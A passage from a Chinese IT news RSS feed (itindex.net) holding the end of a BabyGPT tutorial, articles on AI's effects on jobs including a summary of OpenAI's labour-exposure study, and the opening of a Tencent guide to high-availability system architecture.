（例如温度 &amp;gt; 0，也没有用   &lt;code&gt;topp/topk&lt;/code&gt; sampling hyperparameters 强制将低概率置为零）
可能就会命中这个概率，造成安全事故。&lt;/p&gt;

 &lt;h1&gt;5 其他：  &lt;code&gt;vocab_size=3,context_length=2&lt;/code&gt; BabyGPT&lt;/h1&gt;

 &lt;p&gt;作为练习，读者也可以创建一个   &lt;code&gt;vocab_size=3,context_length=2&lt;/code&gt; 的 GPT。
在这种情况下，每个节点有 3 个转移概率，默认初始化下，基本都是 33% 分布。&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;config = GPTConfig(
    block_size = 2,
    vocab_size = 3,
    n_layer = 4,
    n_head = 4,
    n_embd = 16,
    bias = False,
)
gpt = GPT(config)
plot_model()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>gpt ai</category>
      <guid isPermaLink="true">https://itindex.net/detail/62762-gpt-%E5%B7%A5%E4%BD%9C-python</guid>
      <pubDate>Sun, 21 May 2023 08:00:00 CST</pubDate>
    </item>
    <item>
      <title>ChatGPT等不会很快接管人类工作，易出错，AI也不会免费打工</title>
      <link>https://itindex.net/detail/62755-chatgpt-%E4%BA%BA%E7%B1%BB-%E5%B7%A5%E4%BD%9C</link>
      <description>&lt;section&gt;我们应该将所有的工作，即使是那些令人满意的工作都实现自动智能化吗？&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;这是未来生命研究所 (Future of Life Institute) 最近提出的几个问题之一，该研究所呼吁暂停大型人工智能实验，目前埃隆・马斯克 (Elon Musk) 、Steve Wozniak 和 Andrew Yang 等 1 万多人均已签署了该倡议。尽管可能有一些炒作的意味，但它听起来仍十分严重 &amp;mdash;&amp;mdash; 然而，人工智能究竟如何被用于实现所有工作的自动智能化呢？先不考虑这是否可取 &amp;mdash;&amp;mdash; 试想，它真的可能吗？&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.75" data-src="https://mmbiz.qpic.cn/mmbiz_png/KmXPKA19gWibdt3yqSObFVyCichvT4EfcQ3BmkNVOtmCbw5Y7pibASw13eDGvHh4qZEiazSel4l0sf2KDdglgemMIQ/640?wx_fmt=png" data-type="png" data-w="1080" data-index="1" src="https://image.jiqizhixin.com/uploads/editor/d25427ca-bb47-42ff-a0d8-c43226aa39ff/640.png" alt="图片" data-fail="0" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;麻省理工学院连接科学研究所研究员 Douglas Kim 表示：我认为真正的障碍是，我们从 OpenAI 和谷歌 Bard 看到的通用人工智能功能的涌现，与早期互联网普遍可用或云基础设施服务可用的情况类似。它还没有像提到的那样，为数亿工作者的普遍使用做好准备。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;即使研究人员也无法跟上 AI 创新的步伐&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;Douglas Kim 指出，虽然革命性的技术可以迅速传播，但在被证明为有用、易于使用的应用程序之前，它们通常无法得到广泛运用。他指出，生成式 AI 将需要特定的商业应用，才能超越早期采用者的核心受众。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;Augment 公司 AI 负责人 Matthew Kirk 也持相似观点：「我认为 AI 行业正在发生的事情与互联网早期发生的事情类似。当时的互联网各种观点非常混乱，没有标准。人类需要时间和合作来确定人们遵循的标准。即使是像测量时间这样平凡的事情也非常复杂。」&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;标准化是人工智能发展的痛点。用于训练模型和微调结果的方法是保密的，这使得有关它们是如何运作这一基本问题难以解答。OpenAI 一直在吹捧 GPT-4 通过众多标准化测试的能力 &amp;mdash;&amp;mdash; 但模型是真正理解了测试，还是仅仅只是训练重现正确答案呢？对于它能够处理新奇任务的能力，这又意味着什么呢？研究人员似乎无法就此答案达成一致，也无法就可能用于得出结论的方法达成一致。&lt;/section&gt;&lt;p&gt;&lt;img data-ratio="0.762043795620438" data-src="https://mmbiz.qpic.cn/mmbiz_png/KmXPKA19gWibdt3yqSObFVyCichvT4EfcQbc6YFFcX5YXHR4KOBdrylZyF14mGb1JQd6uFuE61zicTF1Ff2H32PTA/640?wx_fmt=png" data-type="png" data-w="685" data-index="2" src="https://image.jiqizhixin.com/uploads/editor/4932e3ea-3e2d-4e51-96b5-3f1d1e8d2cc7/640.png" alt="图片" data-fail="0" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/p&gt;&lt;section&gt;&lt;em&gt;对比 GPT 3.5 和 GPT 4 的标准化测试成绩图表&lt;/em&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;OpenAI 的 GPT-4 可以在很多标准化测试中取得好成绩。它是真正理解了它们，还是接受了正确答案的训练？&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;即使可以就标准达成一致，设计和生产广泛使用在基于 GPT -4 等大语言模型 (LLMs) 或其他生成式 AI 系统的 AI-powered 工具所需的物理硬件也可能是一个挑战。Optiver 全球研究基础设施负责人 Lucas A. Wilson 认为，AI 行业正在进行一场军备竞赛，以生产出尽可能复杂的大型语言模型（LLM）。这反过来又迅速增加了训练模型所需的计算资源。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;和人类一样，AI 也不会免费工作&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;与此同时，开发人员必须找到应对限制的方法。从零开始训练一个强大的大型语言模型（LLM）可以带来独特的机会，但这只适用于资金充足的大型组织。实现一项可以运用现有模型的服务要便宜得多 (例如，Open AI 的 ChatGPT-3.5 Turbo 对 API 访问的定价约为每 1000 个英语单词 0.0027 美元)。但当人工智能驱动的服务变得流行时，成本仍然会增加。无论哪种情况，推出可无限制使用的 AI 都是不现实的，这将迫使开发者做出艰难的选择。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;Hidden Door，一家通过构建 AI 平台来制作叙事型游戏的初创公司，其首席执行官兼联合创始人 Hilary Mason 表示：「一般来说，依靠 AI 创立的初创公司应该对所有特定供应商应用程序编程接口（API）的依赖都持非常谨慎的态度。我们也可以构建不必让 GPU 成为核心的架构，但这需要相当多的经验。」&lt;/section&gt;&lt;p&gt;&lt;img data-ratio="0.7115902964959568" data-src="https://mmbiz.qpic.cn/mmbiz_png/KmXPKA19gWibdt3yqSObFVyCichvT4EfcQcS2vdFQia1zz0qdPfhVunws5IuU8M26jGsbbXELEHeQTTAcgLMAKtNw/640?wx_fmt=png" data-type="png" data-w="742" data-index="3" src="https://image.jiqizhixin.com/uploads/editor/39b00d07-234d-4617-9d65-49d4ce6dd8a0/640.png" alt="图片" data-fail="0" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/p&gt;&lt;section&gt;&lt;em&gt;Hidden Door 正在开发用于帮助用户运用人工智能来制作独特叙事体验的软件。这是一个用于生成叙事游戏的 AI-powered 屏幕截图工具。它包括用户可以选择的多个 character 和 prompt。&lt;/em&gt;&lt;/section&gt;&lt;section&gt;大多数基于生成式 AI 构建的服务都会对每月生成的内容量设有一个固定的上限。这些专业服务费用对于企业来说可能会增加成本，从而拖慢人们工作任务智能自动化的步伐。即使是拥有大量资源的 OpenAI，也会根据当前的负载限制 ChatGPT 的付费用户：截至本文撰写时，它所设置的上限是每 3 小时 25 次 GPT-4 查询。因而，对于任何想要依赖 ChatGPT 工作的人来说，这都是一个巨大问题。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;AI-powered 工具的开发人员还面临着一个和计算机本身一样古老的挑战 &amp;mdash;&amp;mdash; 设计一个好的用户界面。一个能够完成许多任务的强大 LLM（大型语言模型）应该是一个无与伦比的工具，但是如果使用它的人无从下手，那么它完成任务的能力就无关紧要了。Kirk 指出，虽然 ChatGPT 是易于使用的，但当用户需要专注于特定的任务时，通过聊天与 AI 交互的开放性可能被证明会令人无所适从。&lt;/section&gt;&lt;section&gt;Kirk 说：「我从过往经历中了解到，让工具完全开放往往会给用户带去困惑，而非帮助。你可以把它想象成一个有着无穷无尽门廊的大厅。大多数人都会困惑重重，手足无措，呆在原地。我们仍有诸多工作要做，来确定为用户展示最优的那扇门「。Mason 也有类似的观察，他补充说：「就像 ChatGPT 主要是对 GPT-3 的 UX 优化一样，我认为我们仅仅只是刚开始创造出 UI 设计中的隐喻，我们还需要在产品中有效地运用 AI 模型。」&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;训练使用 AI 本身就是一项工作&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;幻觉（hallucination），作为 LLM 一个特殊的问题，早已引发了争议，它还严重阻碍到了为敏感且重要的工作构建 AI 工具的进程。LLM 有一种令人难以置信的能力，它可以生成独特的文本，讲述笑话，编造关于虚构人物的事迹。然而，当精确性和准确性成为任务的关键时，这个技能却变成了一种障碍，因为 LLM 经常会将不存在的虚假消息来源或不正确的陈述当作事实。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;Kim 表示：在某些受到严格监管的行业 (银行、保险、医疗保健)，公司的特定职能部门都很难调和好非常严格的数据隐私和防止歧视的其他监管要求之间的关系。在这些受监管的行业，你不能让 AI 犯那种在写课程论文时还可以看得过去的错误。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;企业可能会争先雇佣那些具备 AI 工具专业知识的员工。人工智能安全和研究公司 Anthropic 最近因为一则招聘广告上了头条，他们在招聘一名 prompt 工程师和图书管理员时，注明需要应聘者在完成其它本职工作以外，可负责建立 &amp;ldquo;一个具备高质量 prompt 或 prompt 链的图书馆，以完成各种任务&amp;rdquo;。薪水 17.5 万到 33.5 万美元。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;然而，Wilson 看到了有效使用 AI 工具所需的专业知识与 AI 承诺提供的效率之间的矛盾。&lt;/section&gt;&lt;section&gt;「如何招聘人才来从事为 LLMs 提供培训的全新工作，以解放那些早已专注于更复杂或更抽象工作任务的员工呢？」Wilson 问道。「我还没有看到一个明确的答案。」&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;尽管存在这些问题，但利用人工智能增强工作仍可能是值得的。计算机革命显然就是如此：尽管许多人需要训练才能使用 Word 和 Excel 工具，但很少有人会提出打字机或图表纸可以作为更好的替代。正如未来生命研究所的信中所担忧的那样，「我们用自动化取代所有工作，包括令人满意的工作」。虽然这样的未来至少还需要半年多的时间，但人工智能革命现在正在拉开帷幕，而且从今天起的十年里，人工智能革命的画卷将会不断展开。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;em&gt;原文链接：https://spectrum.ieee.org/ai-taking-over-jobs&lt;/em&gt;&lt;/section&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62755-chatgpt-%E4%BA%BA%E7%B1%BB-%E5%B7%A5%E4%BD%9C</guid>
      <pubDate>Wed, 10 May 2023 15:38:23 CST</pubDate>
    </item>
    <item>
      <title>OpenAI重磅研究：ChatGPT可能影响80%工作岗位，收入越高影响越大</title>
      <link>https://itindex.net/detail/62698-openai-%E7%A0%94%E7%A9%B6-chatgpt</link>
      <description>&lt;blockquote&gt;  &lt;p&gt;ChatGPT 的影响涵盖所有收入阶层，且高收入工作可能面临更大的风险。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;机器之心报道机器之心编辑部 &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;p&gt;ChatGPT 来了，失业还会远吗？上星期在 GPT-4 发布时，ChatGPT 第一时间上线了新版本，OpenAI 首席执行官 Sam Altman 表示他对自家这种技术“有点害怕”。&lt;/p&gt; &lt;br /&gt;和很多专家一样，Altman 担心人工智能技术的强大能力会制造过多虚假信息，另一方面，新技术也将改变经济、劳动力和教育环境。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/67qpvabu-tz2c-b8ia-cbqu-n18wjlh3"&gt;&lt;/img&gt;&lt;/p&gt;有人开玩笑说 Sam Altman 每天背着的同一个包，里面有紧急关停 AI 的红色按钮。 &lt;br /&gt;此前，AI 作画已经让很多画师开始担忧自己的工作会被取代。昨天，OpenAI 研究人员提交的一篇报告引发了人们更加热烈的讨论，研究人员估计 ChatGPT 和使用该程序构建的未来应用可能影响美国大约 19% 的工作岗位，和他们至少 50% 的工作任务。 &lt;br /&gt;与此同时，80% 的美国劳动力至少有 10% 的工作任务在某种程度上将受到 ChatGPT 的影响。 &lt;br /&gt;该研究分析表明，像 GPT-4 这样的 LLM（大型语言模型）的影响可能是无处不在的。此外，工资较高的工作 —— 可能需要执行许多基于软件的任务 —— 会面临更多来自人工智能聊天机器人的潜在影响。 &lt;br /&gt;在职业影响方面，受影响最大的职业包括翻译工作者、作家、记者、数学家、财务工作者、区块链工程师等。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/mpnst8cf-eavg-vue1-2k0a-i8k7jl95"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;该研究还按行业细分了 ChatGPT 的影响。数据处理托管、出版业等行业最有可能受到影响。相比之下，体力劳动较多的行业 —— 食品、林业、社会援助等受到的潜在影响最小。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/i8chd5sf-g9mt-4bdh-2gi7-h6upkr23"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;OpenAI 研究了美国超过 1000 个职业，并给他们贴上了执行这些工作所需的各种任务的标签。然后，研究人员使用人工注释器和 GPT-4 模型来评估访问由 ChatGPT 驱动的系统是否会将人类执行特定任务所需的时间减少至少 50%。 &lt;br /&gt;让我们看看这项研究具体在干什么： &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/l89bdnco-6uxi-q1r4-3pcd-tnyqew4g"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt; &lt;br /&gt; &lt;strong&gt;研究介绍&lt;/strong&gt; &lt;br /&gt;我们先看总结，OpenAI 本次调查了 GPT 模型和相关技术对美国劳动力市场的潜在影响。他们根据人员职业与 GPT 能力的对应程度来进行评估，研究结果表明，大约 80% 的美国劳动力至少有 10% 的工作任务会受到 GPT 的引入影响，而大约 19% 的员工可能会看到至少 50% 的工作任务受到影响。这种影响涵盖所有工资水平，高收入工作可能面临更大的风险。值得注意的是，这种影响不仅限于近期生产率增长较高的行业。 &lt;br /&gt;通过分析他们发现，像 GPT-4 这样的大型语言模型带来的影响可能是普遍的。随着时间的推移，LLM 的能力不断提高，即使现在研究人员停止对新模型能力的开发，但它们带来日益增长的经济效应也会持续增长。该研究还发现，如果考虑到互补技术的发展，LLM 的潜在影响将显著扩大。这也恰恰说明了 GPT 正变得越来越通用。 &lt;br /&gt;为了分析，该研究还提出了一个新的标准来理解 LLM 的能力及其对工作潜在影响，该标准用来衡量关于 GPT 任务的总暴露数。 &lt;br /&gt;看完结论，接下来就该介绍数据集了。该研究使用 O*NET 27.2 数据集 (O*NET, 2023)，该数据集包含 1016 个职业信息，表 1 提供了数据集示例，包含任务 ID、职位等。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/j13nh2dr-izs3-cuga-qmta-5evmpkc1"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;此外，数据集还包括他们从美国劳工统计局获得的 2020 年 - 2021 年员工就业和工资数据。该数据集包括职业头衔、每种职业的工人数量等。 &lt;br /&gt;在方法上，该研究根据 exposure rubric 来展示结果，Exposure rubric 定义为访问 GPT 或 GPT 驱动的系统是否会将人类执行特定 DWA 或完成任务所需的时间减少至少 50%。（注：DWA 全称 Detailed Work Activities ，可以将其理解为完成任务所需要的动作，例如表 1，对于计算机系统工程师，其 DWA 包括监控电脑系统性能，确保正常运作。） &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/d9clyzok-kfa6-cghu-w527-emsj5tf4"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;该研究对每个 O*NET 数据集的 DWA 和所有 O*NET 任务的子集获得人工注释，然后在任务和职业级别上汇总这些 DWA 和任务得分。为了确保这些注释的质量，该研究亲自标记了大量任务和 DWA 样本，并招募了经验丰富的人工注释者，他们在 OpenAI 的对齐工作中广泛审查了 GPT 输出。 &lt;br /&gt;下表为模型与人的一致性比较与皮尔逊相关系数。一致性分数是通过观察两组人在注释上达成一致的频率来确定的 (例如 E0, E1 或 E2)。在本文中，该研究使用 GPT-4, Rubric 1。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/ujgmn306-9rtb-wg68-r75q-1lxzirc0"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;该研究为感兴趣的因变量构建了三个主要度量：(i) ，对应于上面 exposure rubric 中的 E1， (ii) ，是 E1 和 0.5*E2 的总和，以及 (iii) ，E1 和 E2 的总和。该研究在表 2 中总结了注释组和度量之间的一致性。 &lt;br /&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;strong&gt;研究结果&lt;/strong&gt; &lt;br /&gt;OpenAI 的这项研究以 GPT 语言模型对经济具有普遍影响作为假设，我们来看一下具体的研究结果。 &lt;br /&gt;下表 3 是人类和 GPT-4 模型的总体 exposure 数据。其中，人类和 GPT-4 的数据表明平均 occupation-level  值介于 0.14 和 0.15 之间，这表明对于中等职业，大约 15% 的任务直接受到 GPT 影响。对于 ，这个数字增加到 30% 以上，对于 ，这个数字则超过 50%。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/2qx7nrwe-qt09-7h2i-ub4x-oaeszh6i"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;根据  值，该研究估计 80% 的人属于至少一项工作任务受 GPT 影响的职业，而 19% 的人所处的职业有超过一半的工作任务被标记为受到 GPT 影响。 &lt;br /&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;strong&gt;工资和就业&lt;/strong&gt; &lt;br /&gt;下图 3 描绘了 GPT 模型对经济的整体影响。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/zc548v7t-fwbz-1n84-5p29-jyagd9w2"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;下图 4 描绘了工作薪资与对 GPT 等语言模型接触使用情况的关系。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/q8tfilsy-2zrb-0ls4-x982-xpt7uj30"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;然后，该研究又从不同的职业分类探究了 GPT 模型的影响，包括 ONET 数据库中的 5 个 Job Zone。其中，Job Zone 1 中的工作入职要求最低，Job Zone 5 则最高。 &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/boalyhm5-vm08-r9qd-w3qp-ni64stg8"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt; &lt;p&gt;  &lt;img src="https://cdn.linkresearcher.com/nieqs4lp-c9g4-2z3s-bhw6-c5m0jpbz"&gt;&lt;/img&gt;&lt;/p&gt; &lt;br /&gt;总体来说，OpenAI 这项研究发现，工作对科学方法和批判性思维的依赖程度与 LLM 接触使用情况呈负相关，而编程和写作技能与 LLM 接触使用呈正相关。 &lt;br /&gt;不过，该研究也承认：试图通过使用简单的标签来描述工作任务并代表每个职业，这种方法本身存在固有的偏见，并且可能忽略了一些特有的技能或任务。 &lt;br /&gt;当然，还有一个非常重要的问题是 GPT 模型目前仍存在很多缺陷，包括编造虚假信息，这使得人工监督工作成为必要。 &lt;br /&gt;大模型的广泛应用，或许意味着许多人将失去工作，但 OpenAI 首席执行官 Sam Altman 认为这也将是个找到更好工作的机会：“我们可以拥有更高的生活质量。同时，人们需要时间来更新、做出反应、习惯这项新技术。” &lt;br /&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;参考内容：https://www.cnbc.com/2023/03/20/openai-ceo-sam-altman-says-hes-a-little-bit-scared-of-ai.htmlhttps://www.pcmag.com/news/openai-chatgpt-could-disrupt-19-of-us-jobs-is-yours-on-the-list&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62698-openai-%E7%A0%94%E7%A9%B6-chatgpt</guid>
      <pubDate>Wed, 22 Mar 2023 11:05:26 CST</pubDate>
    </item>
    <item>
      <title>工作十年，在腾讯沉淀的高可用系统架构设计经验</title>
      <link>https://itindex.net/detail/62678-%E5%B7%A5%E4%BD%9C-%E5%8D%81%E5%B9%B4-%E8%85%BE%E8%AE%AF</link>
      <description>&lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e4a8a8d2df8744c79821cbe8adabc9fa~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/12ab009747cf43f9accfe03f174848ad~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;腾小云导读&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;在系统的开发过程中，很多开发者都为了实现系统的高可用性而发愁。本文从研发规范层面、应用服务层面、存储层面、产品层面、运维部署层面、异常应急层面这六大层面去剖析一个高可用系统的架构设计需要有哪些关键的设计和考虑。希望腾讯的经验方法，能够给广大开发者提供参考。内容较长，您可以收藏后持续阅读。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;看目录点收藏，随时涨技术&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;1 高可用系统的架构设计思想&lt;/p&gt;
 &lt;p&gt;1.1 可用性和高可用概念&lt;/p&gt;
 &lt;p&gt;1.2 高可用系统设计思想&lt;/p&gt;
 &lt;p&gt;2 研发规范层面&lt;/p&gt;
 &lt;p&gt;2.1 方案设计和编码规范&lt;/p&gt;
 &lt;p&gt;2.2 容量规划和评估&lt;/p&gt;
 &lt;p&gt;2.3 QPS 预估（漏斗型）&lt;/p&gt;
 &lt;p&gt;3 应用服务层面&lt;/p&gt;
 &lt;p&gt;3.1 无状态和负载均衡设计&lt;/p&gt;
 &lt;p&gt;3.2 弹性扩缩容设计&lt;/p&gt;
 &lt;p&gt;3.3 异步解耦和削峰设计（消息队列）&lt;/p&gt;
 &lt;p&gt;3.4 故障和容错设计&lt;/p&gt;
 &lt;p&gt;3.5 过载保护设计（限流、熔断、降级）&lt;/p&gt;
 &lt;p&gt;4 存储层面&lt;/p&gt;
 &lt;p&gt;4.1 集群存储（集中式存储）&lt;/p&gt;
 &lt;p&gt;4.2 分布式存储&lt;/p&gt;
 &lt;p&gt;5 产品层面&lt;/p&gt;
 &lt;p&gt;6 运维部署层面&lt;/p&gt;
 &lt;p&gt;6.1 开发阶段-灰度发布、接口测试设计&lt;/p&gt;
 &lt;p&gt;6.2 开发阶段-监控告警设计&lt;/p&gt;
 &lt;p&gt;6.3 开发阶段-安全性、防攻击设计&lt;/p&gt;
 &lt;p&gt;6.4 部署阶段-多机房部署（容灾设计）&lt;/p&gt;
 &lt;p&gt;6.5 线上运行阶段-故障演练（混沌实验）&lt;/p&gt;
 &lt;p&gt;6.6 线上运行阶段-接口拨测系列设计&lt;/p&gt;
 &lt;p&gt;7 异常应急层面&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e67bb16849b5445ea5fbccfee6e23c9b~tplv-k3u1fbpfcp-zoom-1.image"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;01、高可用系统的架构设计思想&lt;/h2&gt;
 &lt;h4&gt;  &lt;strong&gt;1.1&lt;/strong&gt;   &lt;strong&gt;可用性和高可用概念&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;可用性是一个可以量化的指标，是指在某个考察时间，系统能够正常运行的概率或时间占有率期望值。行业内一般用几个 9 表示可用性指标，对应用的可用性程度一般衡量标准有三个 9 到五个 9。一般我们的系统至少要到 4 个 9（99.99%）的可用性才能谈得上高可用。&lt;/p&gt;
 &lt;p&gt;高可用 High Availability 的定义（From 维基百科）：&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="left" colspan="1" rowspan="1" valign="middle" width="557"&gt;高可用是 IT 术语，指系统无中断地执行其功能的能力，代表系统的可用性程度，是进行系统设计时的准则之一。服务不可能 100% 可用，因此要提高我们的高可用，就要尽最大可能的去增加我们服务的可用性，提高可用性指标。&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;p&gt;一句话来表述就是：高可用就是让我们的服务在任何情况下，都尽最大可能地能够对外提供服务。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;2.2&lt;/strong&gt;   &lt;strong&gt;高可用系统设计思想&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;高可用系统的架构设计，需要有一套比较科学的工程管理套路。要从产品、开发、运维、基建等全方位去考量和设计。  &lt;strong&gt;高可用系统的架构设计思想包括但不限于&lt;/strong&gt;：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;
   &lt;p&gt;做好研发规范。系统都是研发人员设计和编码写出来的，因此首先要对研发层面有一个规范和标准。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;做好容量规划和评估。主要是让开发人员对系统要抗住的量级有一个基本认知，方便进行合理的架构设计和演进。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;做好服务层面的高可用。主要是负载均衡、弹性扩缩容、异步解耦、故障容错、过载保护等。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;做好存储层面的高可用。主要是冗余备份（热备，冷备）、失效转移（确认，转移，恢复）等。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;做好运维层面的高可用。主要是发布测试、监控告警、容灾、故障演练等。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;做好产品层面的高可用。主要是兜底策略等。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;做好应急预案。主要是要思考在出现问题后怎样快速恢复，不至于让我们的异常事态扩大。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
 &lt;h2&gt;02、  &lt;strong&gt;研发规范层面&lt;/strong&gt;&lt;/h2&gt;
 &lt;h4&gt;  &lt;strong&gt;2.1&lt;/strong&gt;   &lt;strong&gt;方案设计和编码规范&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;研发规范层面是大家容易忽视的一个点。但是我们所有的设计，都是研发人员来完成的，包括从设计文档到编码再到发布上线。因此，研发层面也要有一个规范流程和套路，以让我们更好地去研发和维护一个高可用的系统：&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="center" valign="top" width="123"&gt;    &lt;strong&gt;阶段&lt;/strong&gt;    &lt;br /&gt;&lt;/td&gt;   &lt;td align="center" valign="top" width="403"&gt;事项&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="2" valign="middle" width="123"&gt;    &lt;strong&gt;设计&lt;/strong&gt;    &lt;strong&gt;阶段&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" valign="middle" width="403.3333333333333"&gt;规范好相关方案设计文档的模板和提纲，让团队内部保持统一。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="left" valign="middle" width="403"&gt;方案设计后一定要进行评审。在团队中，新项目一定要评审，重构项目一定要评审，大的系统优化或者升级一定要评审，其他的一般研发工作量超过一周的建议也要评审。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="3" valign="middle" width="123"&gt;    &lt;strong&gt;编码阶段&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" valign="middle" width="403"&gt;    &lt;strong&gt;执行代码规范：&lt;/strong&gt;    &lt;ul&gt;     &lt;li&gt;工程的 layout 目录需结构规范，团队内部保持统一，尽量简洁；&lt;/li&gt;     &lt;li&gt;遵循团队内部的代码规范。一般公司都有对应语言的规范，如果没有则参考官方的规范，代码规范可以大大减少 bug 并且提高可用性。&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="left" height="163" valign="middle" width="403"&gt;    